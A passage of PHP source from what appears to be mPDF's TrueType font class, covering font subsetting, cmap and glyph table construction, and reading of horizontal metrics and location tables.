'fpgm', 'prep', 'gasp']; foreach ($tags as $tag) { if (isset($this->tables[$tag])) { $this->add($tag, $this->get_table($tag)); } } // post - PostScript if (isset($this->tables['post'])) { $opost = $this->get_table('post'); $post = "\x00\x03\x00\x00" . substr($opost, 4, 12) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; $this->add('post', $post); } // Sort CID2GID map into segments of contiguous codes ksort($codeToGlyph); unset($codeToGlyph[0]); $rangeid = 0; $range = []; $prevcid = -2; $prevglidx = -1; // for each character foreach ($codeToGlyph as $cid => $glidx) { if ($cid == ($prevcid + 1) && $glidx == ($prevglidx + 1)) { $range[$rangeid][] = $glidx; } else { // new range $rangeid = $cid; $range[$rangeid] = []; $range[$rangeid][] = $glidx; } $prevcid = $cid; $prevglidx = $glidx; } // cmap - Character to glyph mapping $segCount = count($range) + 1; // + 1 Last segment has missing character 0xFFFF $searchRange = 1; $entrySelector = 0; while ($searchRange * 2 <= $segCount) { $searchRange *= 2; ++$entrySelector; } $searchRange *= 2; $rangeShift = $segCount * 2 - $searchRange; $length = 16 + (8 * $segCount) + ($numGlyphs + 1); $cmap = [ 0, 3, // Index : version, number of encoding subtables 0, 0, // Encoding Subtable : platform (UNI=0), encoding 0 0, 28, // Encoding Subtable : offset (hi,lo) 0, 3, // Encoding Subtable : platform (UNI=0), encoding 3 0, 28, // Encoding Subtable : offset (hi,lo) 3, 1, // Encoding Subtable : platform (MS=3), encoding 1 0, 28, // Encoding Subtable : offset (hi,lo) 4, $length, 0, // Format 4 Mapping subtable: format, length, language $segCount * 2, $searchRange, $entrySelector, $rangeShift, ]; // endCode(s) foreach ($range as $start => $subrange) { $endCode = $start + (count($subrange) - 1); $cmap[] = $endCode; // endCode(s) } $cmap[] = 0xFFFF; // endCode of last Segment $cmap[] = 0; // reservedPad // startCode(s) foreach ($range as $start => $subrange) { $cmap[] = $start; // startCode(s) } $cmap[] = 0xFFFF; // startCode of last Segment // idDelta(s) foreach ($range as $start => $subrange) { $idDelta = -($start - $subrange[0]); $n += count($subrange); $cmap[] = $idDelta; // idDelta(s) } $cmap[] = 1; // idDelta of last Segment // idRangeOffset(s) foreach ($range as $subrange) { $cmap[] = 0; // idRangeOffset[segCount] Offset in bytes to glyph indexArray, or 0 } $cmap[] = 0; // idRangeOffset of last Segment foreach ($range as $subrange) { foreach ($subrange as $glidx) { $cmap[] = $glidx; } } $cmap[] = 0; // Mapping for last character $cmapstr = ''; foreach ($cmap as $cm) { $cmapstr .= pack('n', $cm); } $this->add('cmap', $cmapstr); // glyf - Glyph data list($glyfOffset, $glyfLength) = $this->get_table_pos('glyf'); if ($glyfLength < $this->maxStrLenRead) { $glyphData = $this->get_table('glyf'); } $offsets = []; $glyf = ''; $pos = 0; $hmtxstr = ''; $xMinT = 0; $yMinT = 0; $xMaxT = 0; $yMaxT = 0; $advanceWidthMax = 0; $minLeftSideBearing = 0; $minRightSideBearing = 0; $xMaxExtent = 0; $maxPoints = 0; // points in non-compound glyph $maxContours = 0; // contours in non-compound glyph $maxComponentPoints = 0; // points in compound glyph $maxComponentContours = 0; // contours in compound glyph $maxComponentElements = 0; // number of glyphs referenced at top level $maxComponentDepth = 0; // levels of recursion, set to 0 if font has only simple glyphs $this->glyphdata = []; foreach ($subsetglyphs as $originalGlyphIdx => $uni) { // hmtx - Horizontal Metrics $hm = $this->getHMetric($orignHmetrics, $originalGlyphIdx); $hmtxstr .= $hm; $offsets[] = $pos; $glyphPos = $this->glyphPos[$originalGlyphIdx]; $glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos; if ($glyfLength < $this->maxStrLenRead) { $data = substr($glyphData, $glyphPos, $glyphLen); } else { if ($glyphLen > 0) { $data = $this->get_chunk($glyfOffset + $glyphPos, $glyphLen); } else { $data = ''; } } if ($glyphLen > 0) { if (_RECALC_PROFILE) { $xMin = $this->unpack_short(substr($data, 2, 2)); $yMin = $this->unpack_short(substr($data, 4, 2)); $xMax = $this->unpack_short(substr($data, 6, 2)); $yMax = $this->unpack_short(substr($data, 8, 2)); $xMinT = min($xMinT, $xMin); $yMinT = min($yMinT, $yMin); $xMaxT = max($xMaxT, $xMax); $yMaxT = max($yMaxT, $yMax); $aw = $this->unpack_short(substr($hm, 0, 2)); $lsb = $this->unpack_short(substr($hm, 2, 2)); $advanceWidthMax = max($advanceWidthMax, $aw); $minLeftSideBearing = min($minLeftSideBearing, $lsb); $minRightSideBearing = min($minRightSideBearing, ($aw - $lsb - ($xMax - $xMin))); $xMaxExtent = max($xMaxExtent, ($lsb + ($xMax - $xMin))); } $up = unpack("n", substr($data, 0, 2)); } if ($glyphLen > 2 && ($up[1] & (1 << 15))) { // If number of contours <= -1 i.e. composiste glyph $pos_in_glyph = 10; $flags = GlyphOperator::MORE; $nComponentElements = 0; while ($flags & GlyphOperator::MORE) { $nComponentElements += 1; // number of glyphs referenced at top level $up = unpack("n", substr($data, $pos_in_glyph, 2)); $flags = $up[1]; $up = unpack("n", substr($data, $pos_in_glyph + 2, 2)); $glyphIdx = $up[1]; $this->glyphdata[$originalGlyphIdx]['compGlyphs'][] = $glyphIdx; $data = $this->_set_ushort($data, $pos_in_glyph + 2, $glyphSet[$glyphIdx]); $pos_in_glyph += 4; if ($flags & GlyphOperator::WORDS) { $pos_in_glyph += 4; } else { $pos_in_glyph += 2; } if ($flags & GlyphOperator::SCALE) { $pos_in_glyph += 2; } elseif ($flags & GlyphOperator::XYSCALE) { $pos_in_glyph += 4; } elseif ($flags & GlyphOperator::TWOBYTWO) { $pos_in_glyph += 8; } } $maxComponentElements = max($maxComponentElements, $nComponentElements); } // Simple Glyph elseif (_RECALC_PROFILE && $glyphLen > 2 && $up[1] < (1 << 15) && $up[1] > 0) { // Number of contours > 0 simple glyph $nContours = $up[1]; $this->glyphdata[$originalGlyphIdx]['nContours'] = $nContours; $maxContours = max($maxContours, $nContours); // Count number of points in simple glyph $pos_in_glyph = 10 + ($nContours * 2) - 2; // Last endContourPoint $up = unpack("n", substr($data, $pos_in_glyph, 2)); $points = $up[1] + 1; $this->glyphdata[$originalGlyphIdx]['nPoints'] = $points; $maxPoints = max($maxPoints, $points); } $glyf .= $data; $pos += $glyphLen; if ($pos % 4 != 0) { $padding = 4 - ($pos % 4); $glyf .= str_repeat("\0", $padding); $pos += $padding; } } if (_RECALC_PROFILE) { foreach ($this->glyphdata as $originalGlyphIdx => $val) { $maxdepth = $depth = -1; $points = 0; $contours = 0; $this->getGlyphData($originalGlyphIdx, $maxdepth, $depth, $points, $contours); $maxComponentDepth = max($maxComponentDepth, $maxdepth); $maxComponentPoints = max($maxComponentPoints, $points); $maxComponentContours = max($maxComponentContours, $contours); } } $offsets[] = $pos; $this->add('glyf', $glyf); // hmtx - Horizontal Metrics $this->add('hmtx', $hmtxstr); // loca - Index to location $locastr = ''; if ((($pos + 1) >> 1) > 0xFFFF) { $indexToLocFormat = 1; // long format foreach ($offsets as $offset) { $locastr .= pack("N", $offset); } } else { $indexToLocFormat = 0; // short format foreach ($offsets as $offset) { $locastr .= pack("n", ($offset / 2)); } } $this->add('loca', $locastr); // head - Font header $head = $this->get_table('head'); $head = $this->_set_ushort($head, 50, $indexToLocFormat); if (_RECALC_PROFILE) { $head = $this->_set_short($head, 36, $xMinT); // for all glyph bounding boxes $head = $this->_set_short($head, 38, $yMinT); // for all glyph bounding boxes $head = $this->_set_short($head, 40, $xMaxT); // for all glyph bounding boxes $head = $this->_set_short($head, 42, $yMaxT); // for all glyph bounding boxes $head[17] = chr($head[17] & ~(1 << 4)); // Unset Bit 4 (as hdmx/LTSH tables not included) } $this->add('head', $head); // hhea - Horizontal Header $hhea = $this->get_table('hhea'); $hhea = $this->_set_ushort($hhea, 34, $numberOfHMetrics); if (_RECALC_PROFILE) { $hhea = $this->_set_ushort($hhea, 10, $advanceWidthMax); $hhea = $this->_set_short($hhea, 12, $minLeftSideBearing); $hhea = $this->_set_short($hhea, 14, $minRightSideBearing); $hhea = $this->_set_short($hhea, 16, $xMaxExtent); } $this->add('hhea', $hhea); // maxp - Maximum Profile $maxp = $this->get_table('maxp'); $maxp = $this->_set_ushort($maxp, 4, $numGlyphs); if (_RECALC_PROFILE) { $maxp = $this->_set_ushort($maxp, 6, $maxPoints); // points in non-compound glyph $maxp = $this->_set_ushort($maxp, 8, $maxContours); // contours in non-compound glyph $maxp = $this->_set_ushort($maxp, 10, $maxComponentPoints); // points in compound glyph $maxp = $this->_set_ushort($maxp, 12, $maxComponentContours); // contours in compound glyph $maxp = $this->_set_ushort($maxp, 28, $maxComponentElements); // number of glyphs referenced at top level $maxp = $this->_set_ushort($maxp, 30, $maxComponentDepth); // levels of recursion, set to 0 if font has only simple glyphs } $this->add('maxp', $maxp); // OS/2 - OS/2 if (isset($this->tables['OS/2'])) { $os2_offset = $this->seek_table("OS/2"); if (_RECALC_PROFILE) { $fsSelection = $this->get_ushort($os2_offset + 62); $fsSelection = ($fsSelection & ~(1 << 6)); // 2-byte bit field containing information concerning the nature of the font patterns // bit#0 = Italic; bit#5=Bold // Match name table's font subfamily string // Clear bit#6 used for 'Regular' and optional } // NB Currently this method never subsets characters above BMP // Could set nonBMP bit according to $this->maxUni $nonBMP = $this->get_ushort($os2_offset + 46); $nonBMP = ($nonBMP & ~(1 << 9)); // Unset Bit 57 (indicates non-BMP) - for interactive forms $os2 = $this->get_table('OS/2'); if (_RECALC_PROFILE) { $os2 = $this->_set_ushort($os2, 62, $fsSelection); $os2 = $this->_set_ushort($os2, 66, $fsLastCharIndex); $os2 = $this->_set_ushort($os2, 42, 0x0000); // ulCharRange (ulUnicodeRange) bits 24-31 | 16-23 $os2 = $this->_set_ushort($os2, 44, 0x0000); // ulCharRange (Unicode ranges) bits 8-15 | 0-7 $os2 = $this->_set_ushort($os2, 46, $nonBMP); // ulCharRange (Unicode ranges) bits 56-63 | 48-55 $os2 = $this->_set_ushort($os2, 48, 0x0000); // ulCharRange (Unicode ranges) bits 40-47 | 32-39 $os2 = $this->_set_ushort($os2, 50, 0x0000); // ulCharRange (Unicode ranges) bits 88-95 | 80-87 $os2 = $this->_set_ushort($os2, 52, 0x0000); // ulCharRange (Unicode ranges) bits 72-79 | 64-71 $os2 = $this->_set_ushort($os2, 54, 0x0000); // ulCharRange (Unicode ranges) bits 120-127 | 112-119 $os2 = $this->_set_ushort($os2, 56, 0x0000); // ulCharRange (Unicode ranges) bits 104-111 | 96-103 } $os2 = $this->_set_ushort($os2, 46, $nonBMP); // Unset Bit 57 (indicates non-BMP) - for interactive forms $this->add('OS/2', $os2); } fclose($this->fh); // Put the TTF file together $stm = ''; $this->endTTFile($stm); return $stm; } function makeSubsetSIP($file, &$subset, $TTCfontID = 0, $debug = false, $useOTL = 0) { $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open file "%s"', $file)); } $this->filename = $file; $this->_pos = 0; $this->useOTL = $useOTL; // mPDF 5.7.1 $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->otables = []; $this->ascent = 0; $this->descent = 0; $this->strikeoutSize = 0; $this->strikeoutPosition = 0; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->skip(4); if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000])) { throw new \Mpdf\MpdfException("ERROR - Error parsing TrueType Collection: version=" . $version . " - " . $file); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now } $this->readTableDirectory($debug); // head - Font header table $this->seek_table('head'); $this->skip(50); $indexToLocFormat = $this->read_ushort(); $glyphDataFormat = $this->read_ushort(); // hhea - Horizontal header table $this->seek_table('hhea'); $this->skip(32); $metricDataFormat = $this->read_ushort(); $orignHmetrics = $numberOfHMetrics = $this->read_ushort(); // maxp - Maximum profile table $this->seek_table('maxp'); $this->skip(4); $numGlyphs = $this->read_ushort(); // cmap - Character to glyph index mapping table $cmap_offset = $this->seek_table('cmap'); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if (($platformID == 3 && $encodingID == 10) || $platformID == 0) { // Microsoft, Unicode Format 12 table HKCS $format = $this->get_ushort($cmap_offset + $offset); if ($format == 12) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { $unicode_cmap_offset = $cmap_offset + $offset; } } $this->seek($save_pos); } if (!$unicode_cmap_offset) { throw new \Mpdf\MpdfException(sprintf('Font "%s" does not have cmap for Unicode (platform 3, encoding 1, format 4, or platform 0, any encoding, format 4)', $file)); } // Format 12 CMAP does characters above Unicode BMP i.e. some HKCS characters U+20000 and above if ($format == 12) { $this->maxUniChar = 0; $this->seek($unicode_cmap_offset + 4); $length = $this->read_ulong(); $limit = $unicode_cmap_offset + $length; $this->skip(4); $nGroups = $this->read_ulong(); $glyphToChar = []; $charToGlyph = []; for ($i = 0; $i < $nGroups; $i++) { $startCharCode = $this->read_ulong(); $endCharCode = $this->read_ulong(); $startGlyphCode = $this->read_ulong(); $offset = 0; for ($unichar = $startCharCode; $unichar <= $endCharCode; $unichar++) { $glyph = $startGlyphCode + $offset; $offset++; // ZZZ98 if ($unichar < 0x30000) { $charToGlyph[$unichar] = $glyph; $this->maxUniChar = max($unichar, $this->maxUniChar); $glyphToChar[$glyph][] = $unichar; } } } } else { $glyphToChar = []; $charToGlyph = []; $this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph); } // Map Unmapped glyphs - from $numGlyphs if ($useOTL) { $bctr = 0xE000; for ($gid = 1; $gid < $numGlyphs; $gid++) { if (!isset($glyphToChar[$gid])) { while (isset($charToGlyph[$bctr])) { $bctr++; } // Avoid overwriting a glyph already mapped in PUA // ZZZ98 if ($bctr > 0xF8FF && $bctr < 0x2CEB0) { $bctr = 0x2CEB0; while (isset($charToGlyph[$bctr])) { $bctr++; } } $glyphToChar[$gid][] = $bctr; $charToGlyph[$bctr] = $gid; $this->maxUniChar = max($bctr, $this->maxUniChar); $bctr++; } } } // hmtx - Horizontal metrics table $scale = 1; // not used here $this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale); // loca - Index to location $this->getLOCA($indexToLocFormat, $numGlyphs); $glyphMap = [0 => 0]; $glyphSet = [0 => 0]; $codeToGlyph = []; // Set a substitute if ASCII characters do not have glyphs if (isset($charToGlyph[0x3F])) { $subs = $charToGlyph[0x3F]; } else { // Question mark $subs = $charToGlyph[32]; } foreach ($subset as $code) { if (isset($charToGlyph[$code])) { $originalGlyphIdx = $charToGlyph[$code]; } elseif ($code < 128) { $originalGlyphIdx = $subs; } else { $originalGlyphIdx = 0; } if (!isset($glyphSet[$originalGlyphIdx])) { $glyphSet[$originalGlyphIdx] = count($glyphMap); $glyphMap[] = $originalGlyphIdx; } $codeToGlyph[$code] = $glyphSet[$originalGlyphIdx]; } list($start, $dummy) = $this->get_table_pos('glyf'); $n = 0; while ($n < count($glyphMap)) { $originalGlyphIdx = $glyphMap[$n]; $glyphPos = $this->glyphPos[$originalGlyphIdx]; $glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos; ++$n; if (!$glyphLen) { continue; } $this->seek($start + $glyphPos); $numberOfContours = $this->read_short(); if ($numberOfContours < 0) { $this->skip(8); $flags = GlyphOperator::MORE; while ($flags & GlyphOperator::MORE) { $flags = $this->read_ushort(); $glyphIdx = $this->read_ushort(); if (!isset($glyphSet[$glyphIdx])) { $glyphSet[$glyphIdx] = count($glyphMap); $glyphMap[] = $glyphIdx; } if ($flags & GlyphOperator::WORDS) { $this->skip(4); } else { $this->skip(2); } if ($flags & GlyphOperator::SCALE) { $this->skip(2); } elseif ($flags & GlyphOperator::XYSCALE) { $this->skip(4); } elseif ($flags & GlyphOperator::TWOBYTWO) { $this->skip(8); } } } } $numGlyphs = $n = count($glyphMap); $numberOfHMetrics = $n; // MS spec says that "Platform and encoding ID's in the name table should be consistent with those in the cmap table. // If they are not, the font will not load in Windows" // Doesn't seem to be a problem? // Needs to have a name entry in 3,0 (e.g. symbol) - original font will be 3,1 (i.e. Unicode) $name = $this->get_table('name'); $name_offset = $this->seek_table("name"); $format = $this->read_ushort(); $numRecords = $this->read_ushort(); $string_data_offset = $name_offset + $this->read_ushort(); for ($i = 0; $i < $numRecords; $i++) { $platformId = $this->read_ushort(); $encodingId = $this->read_ushort(); if ($platformId == 3 && $encodingId == 1) { $pos = 6 + ($i * 12) + 2; $name = $this->_set_ushort($name, $pos, 0x00); // Change encoding to 3,0 rather than 3,1 } $this->skip(8); } $this->add('name', $name); // OS/2 if (isset($this->tables['OS/2'])) { $os2 = $this->get_table('OS/2'); $os2 = $this->_set_ushort($os2, 42, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 44, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 46, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 48, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 50, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 52, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 54, 0x00); // ulCharRange (Unicode ranges) $os2 = $this->_set_ushort($os2, 56, 0x00); // ulCharRange (Unicode ranges) // Set Symbol character only in ulCodePageRange $os2 = $this->_set_ushort($os2, 78, 0x8000); // ulCodePageRange = Bit #31 Symbol **** 78 = Bit 16-31 $os2 = $this->_set_ushort($os2, 80, 0x0000); // ulCodePageRange = Bit #31 Symbol **** 80 = Bit 0-15 $os2 = $this->_set_ushort($os2, 82, 0x0000); // ulCodePageRange = Bit #32- Symbol **** 82 = Bits 48-63 $os2 = $this->_set_ushort($os2, 84, 0x0000); // ulCodePageRange = Bit #32- Symbol **** 84 = Bits 32-47 $os2 = $this->_set_ushort($os2, 64, 0x01); // FirstCharIndex $os2 = $this->_set_ushort($os2, 66, count($subset)); // LastCharIndex // Set PANOSE first bit to 5 for Symbol $os2 = $this->splice($os2, 32, chr(5) . chr(0) . chr(1) . chr(0) . chr(1) . chr(0) . chr(0) . chr(0) . chr(0) . chr(0)); $this->add('OS/2', $os2); } //tables copied from the original $tags = ['cvt ', 'fpgm', 'prep', 'gasp']; foreach ($tags as $tag) { // 1.02 if (isset($this->tables[$tag])) { $this->add($tag, $this->get_table($tag)); } } // post - PostScript if (isset($this->tables['post'])) { $opost = $this->get_table('post'); $post = "\x00\x03\x00\x00" . substr($opost, 4, 12) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; } $this->add('post', $post); // hhea - Horizontal Header $hhea = $this->get_table('hhea'); $hhea = $this->_set_ushort($hhea, 34, $numberOfHMetrics); $this->add('hhea', $hhea); // maxp - Maximum Profile $maxp = $this->get_table('maxp'); $maxp = $this->_set_ushort($maxp, 4, $numGlyphs); $this->add('maxp', $maxp); // CMap table Formats [1,0,]6 and [3,0,]4 // Sort CID2GID map into segments of contiguous codes $rangeid = 0; $range = []; $prevcid = -2; $prevglidx = -1; // for each character foreach ($subset as $cid => $code) { $glidx = $codeToGlyph[$code]; if ($cid == ($prevcid + 1) && $glidx == ($prevglidx + 1)) { $range[$rangeid][] = $glidx; } else { // new range $rangeid = $cid; $range[$rangeid] = []; $range[$rangeid][] = $glidx; } $prevcid = $cid; $prevglidx = $glidx; } // cmap - Character to glyph mapping $segCount = count($range) + 1; // + 1 Last segment has missing character 0xFFFF $searchRange = 1; $entrySelector = 0; while ($searchRange * 2 <= $segCount) { $searchRange = $searchRange * 2; $entrySelector = $entrySelector + 1; } $searchRange = $searchRange * 2; $rangeShift = $segCount * 2 - $searchRange; $length = 16 + (8 * $segCount) + ($numGlyphs + 1); $cmap = [ 4, $length, 0, // Format 4 Mapping subtable: format, length, language $segCount * 2, $searchRange, $entrySelector, $rangeShift, ]; // endCode(s) foreach ($range as $start => $subrange) { $endCode = $start + (count($subrange) - 1); $cmap[] = $endCode; // endCode(s) } $cmap[] = 0xFFFF; // endCode of last Segment $cmap[] = 0; // reservedPad // startCode(s) foreach ($range as $start => $subrange) { $cmap[] = $start; // startCode(s) } $cmap[] = 0xFFFF; // startCode of last Segment // idDelta(s) foreach ($range as $start => $subrange) { $idDelta = -($start - $subrange[0]); $n += count($subrange); $cmap[] = $idDelta; // idDelta(s) } $cmap[] = 1; // idDelta of last Segment // idRangeOffset(s) foreach ($range as $subrange) { $cmap[] = 0; // idRangeOffset[segCount] Offset in bytes to glyph indexArray, or 0 } $cmap[] = 0; // idRangeOffset of last Segment foreach ($range as $subrange) { foreach ($subrange as $glidx) { $cmap[] = $glidx; } } $cmap[] = 0; // Mapping for last character $cmapstr4 = ''; foreach ($cmap as $cm) { $cmapstr4 .= pack("n", $cm); } // cmap - Character to glyph mapping $entryCount = count($subset); $length = 10 + $entryCount * 2; $off = 20 + $length; $hoff = $off >> 16; $loff = $off & 0xFFFF; $cmap = [ 0, 2, // Index : version, number of subtables 1, 0, // Subtable : platform, encoding 0, 20, // offset (hi,lo) 3, 0, // Subtable : platform, encoding // See note above for 'name' $hoff, $loff, // offset (hi,lo) 6, $length, // Format 6 Mapping table: format, length 0, 1, // language, First char code $entryCount, ]; $cmapstr = ''; foreach ($subset as $code) { $cmap[] = $codeToGlyph[$code]; } foreach ($cmap as $cm) { $cmapstr .= pack("n", $cm); } $cmapstr .= $cmapstr4; $this->add('cmap', $cmapstr); // hmtx - Horizontal Metrics $hmtxstr = ''; for ($n = 0; $n < $numGlyphs; $n++) { $originalGlyphIdx = $glyphMap[$n]; $hm = $this->getHMetric($orignHmetrics, $originalGlyphIdx); $hmtxstr .= $hm; } $this->add('hmtx', $hmtxstr); // glyf - Glyph data list($glyfOffset, $glyfLength) = $this->get_table_pos('glyf'); if ($glyfLength < $this->maxStrLenRead) { $glyphData = $this->get_table('glyf'); } $offsets = []; $glyf = ''; $pos = 0; for ($n = 0; $n < $numGlyphs; $n++) { $offsets[] = $pos; $originalGlyphIdx = $glyphMap[$n]; $glyphPos = $this->glyphPos[$originalGlyphIdx]; $glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos; if ($glyfLength < $this->maxStrLenRead) { $data = substr($glyphData, $glyphPos, $glyphLen); } else { if ($glyphLen > 0) { $data = $this->get_chunk($glyfOffset + $glyphPos, $glyphLen); } else { $data = ''; } } if ($glyphLen > 0) { $up = unpack('n', substr($data, 0, 2)); } if ($glyphLen > 2 && ($up[1] & (1 << 15))) { $pos_in_glyph = 10; $flags = GlyphOperator::MORE; while ($flags & GlyphOperator::MORE) { $up = unpack('n', substr($data, $pos_in_glyph, 2)); $flags = $up[1]; $up = unpack('n', substr($data, $pos_in_glyph + 2, 2)); $glyphIdx = $up[1]; $data = $this->_set_ushort($data, $pos_in_glyph + 2, $glyphSet[$glyphIdx]); $pos_in_glyph += 4; if ($flags & GlyphOperator::WORDS) { $pos_in_glyph += 4; } else { $pos_in_glyph += 2; } if ($flags & GlyphOperator::SCALE) { $pos_in_glyph += 2; } elseif ($flags & GlyphOperator::XYSCALE) { $pos_in_glyph += 4; } elseif ($flags & GlyphOperator::TWOBYTWO) { $pos_in_glyph += 8; } } } $glyf .= $data; $pos += $glyphLen; if ($pos % 4 != 0) { $padding = 4 - ($pos % 4); $glyf .= str_repeat("\0", $padding); $pos += $padding; } } $offsets[] = $pos; $this->add('glyf', $glyf); // loca - Index to location $locastr = ''; if ((($pos + 1) >> 1) > 0xFFFF) { $indexToLocFormat = 1; // long format foreach ($offsets as $offset) { $locastr .= pack("N", $offset); } } else { $indexToLocFormat = 0; // short format foreach ($offsets as $offset) { $locastr .= pack("n", ($offset / 2)); } } $this->add('loca', $locastr); // head - Font header $head = $this->get_table('head'); $head = $this->_set_ushort($head, 50, $indexToLocFormat); $this->add('head', $head); fclose($this->fh); $stm = ''; $this->endTTFile($stm); return $stm; } function getGlyphData($originalGlyphIdx, &$maxdepth, &$depth, &$points, &$contours) { $depth++; $maxdepth = max($maxdepth, $depth); if (count($this->glyphdata[$originalGlyphIdx]['compGlyphs'])) { foreach ($this->glyphdata[$originalGlyphIdx]['compGlyphs'] as $glyphIdx) { $this->getGlyphData($glyphIdx, $maxdepth, $depth, $points, $contours); } } elseif (($this->glyphdata[$originalGlyphIdx]['nContours'] > 0) && $depth > 0) { // simple $contours += $this->glyphdata[$originalGlyphIdx]['nContours']; $points += $this->glyphdata[$originalGlyphIdx]['nPoints']; } $depth--; } function getGlyphs($originalGlyphIdx, &$start, &$glyphSet, &$subsetglyphs) { $glyphPos = $this->glyphPos[$originalGlyphIdx]; $glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos; if (!$glyphLen) { return; } $this->seek($start + $glyphPos); $numberOfContours = $this->read_short(); if ($numberOfContours < 0) { $this->skip(8); $flags = GlyphOperator::MORE; while ($flags & GlyphOperator::MORE) { $flags = $this->read_ushort(); $glyphIdx = $this->read_ushort(); if (!isset($glyphSet[$glyphIdx])) { $glyphSet[$glyphIdx] = count($subsetglyphs); // old glyphID to new glyphID $subsetglyphs[$glyphIdx] = true; } $savepos = ftell($this->fh); $this->getGlyphs($glyphIdx, $start, $glyphSet, $subsetglyphs); $this->seek($savepos); if ($flags & GlyphOperator::WORDS) { $this->skip(4); } else { $this->skip(2); } if ($flags & GlyphOperator::SCALE) { $this->skip(2); } elseif ($flags & GlyphOperator::XYSCALE) { $this->skip(4); } elseif ($flags & GlyphOperator::TWOBYTWO) { $this->skip(8); } } } } function getHMTX($numberOfHMetrics, $numGlyphs, &$glyphToChar, $scale) { $start = $this->seek_table('hmtx'); $aw = 0; $this->charWidths = str_pad('', 256 * 256 * 2, "\x00"); if ($this->maxUniChar > 65536) { $this->charWidths .= str_pad('', 256 * 256 * 2, "\x00"); } // Plane 1 SMP if ($this->maxUniChar > 131072) { $this->charWidths .= str_pad('', 256 * 256 * 2, "\x00"); } // Plane 2 SMP $nCharWidths = 0; if (($numberOfHMetrics * 4) < $this->maxStrLenRead) { $data = $this->get_chunk($start, $numberOfHMetrics * 4); $arr = unpack('n*', $data); } else { $this->seek($start); } for ($glyph = 0; $glyph < $numberOfHMetrics; $glyph++) { if (($numberOfHMetrics * 4) < $this->maxStrLenRead) { $aw = $arr[($glyph * 2) + 1]; } else { $aw = $this->read_ushort(); $lsb = $this->read_ushort(); } if (isset($glyphToChar[$glyph]) || $glyph == 0) { if ($aw >= (1 << 15)) { $aw = 0; } // 1.03 Some (arabic) fonts have -ve values for width // although should be unsigned value - comes out as e.g. 65108 (intended -50) if ($glyph === 0) { $this->defaultWidth = $scale * $aw; continue; } foreach ($glyphToChar[$glyph] as $char) { if ($char != 0 && $char != 65535) { $w = (int) round($scale * $aw); if ($w === 0) { $w = 65535; } if ($char < 196608) { $this->charWidths[$char * 2] = chr($w >> 8); $this->charWidths[$char * 2 + 1] = chr($w & 0xFF); $nCharWidths++; } } } } } $data = $this->get_chunk(($start + $numberOfHMetrics * 4), ($numGlyphs * 2)); $arr = unpack("n*", $data); $diff = $numGlyphs - $numberOfHMetrics; $w = (int) round($scale * $aw); if ($w === 0) { $w = 65535; } for ($pos = 0; $pos < $diff; $pos++) { $glyph = $pos + $numberOfHMetrics; if (isset($glyphToChar[$glyph])) { foreach ($glyphToChar[$glyph] as $char) { if ($char != 0 && $char != 65535) { if ($char < 196608) { $this->charWidths[$char * 2] = chr($w >> 8); $this->charWidths[$char * 2 + 1] = chr($w & 0xFF); $nCharWidths++; } } } } } // NB 65535 is a set width of 0 // First bytes define number of chars in font $this->charWidths[0] = chr($nCharWidths >> 8); $this->charWidths[1] = chr($nCharWidths & 0xFF); } function getHMetric($numberOfHMetrics, $gid) { $start = $this->seek_table("hmtx"); if ($gid < $numberOfHMetrics) { $this->seek($start + ($gid * 4)); $hm = fread($this->fh, 4); } else { $this->seek($start + (($numberOfHMetrics - 1) * 4)); $hm = fread($this->fh, 2); $this->seek($start + ($numberOfHMetrics * 2) + ($gid * 2)); $hm .= fread($this->fh, 2); } return $hm; } function getLOCA($indexToLocFormat, $numGlyphs) { $start = $this->seek_table('loca'); $this->glyphPos = []; if ($indexToLocFormat == 0) { $data = $this->get_chunk($start, ($numGlyphs * 2) + 2); $arr = unpack("n*", $data); for ($n = 0; $n <= $numGlyphs; $n++) { $this->glyphPos[] = ($arr[$n + 1] * 2); } } elseif ($indexToLocFormat == 1) { $data = $this->get_chunk($start, ($numGlyphs * 4) + 4); $arr = unpack("N*", $data); for ($n = 0; $n <= $numGlyphs; $n++) { $this->glyphPos[] = ($arr[$n + 1]); } } else { throw new \Mpdf\MpdfException('Unknown location table format ' . $indexToLocFormat); } } /** * CMAP Format 4 */ function getCMAP4($unicode_cmap_offset, &$glyphToChar, &$charToGlyph) { $this->maxUniChar = 0; $this->seek($unicode_cmap_offset + 2); $length = $this->read_ushort(); $limit = $unicode_cmap_offset + $length; $this->skip(2); $segCount = $this->read_ushort() / 2; $this->skip(6); $endCount = []; for ($i = 0; $i < $segCount; $i++) { $endCount[] = $this->read_ushort(); } $this->skip(2); $startCount = []; for ($i = 0; $i < $segCount; $i++) { $startCount[] = $this->read_ushort(); } 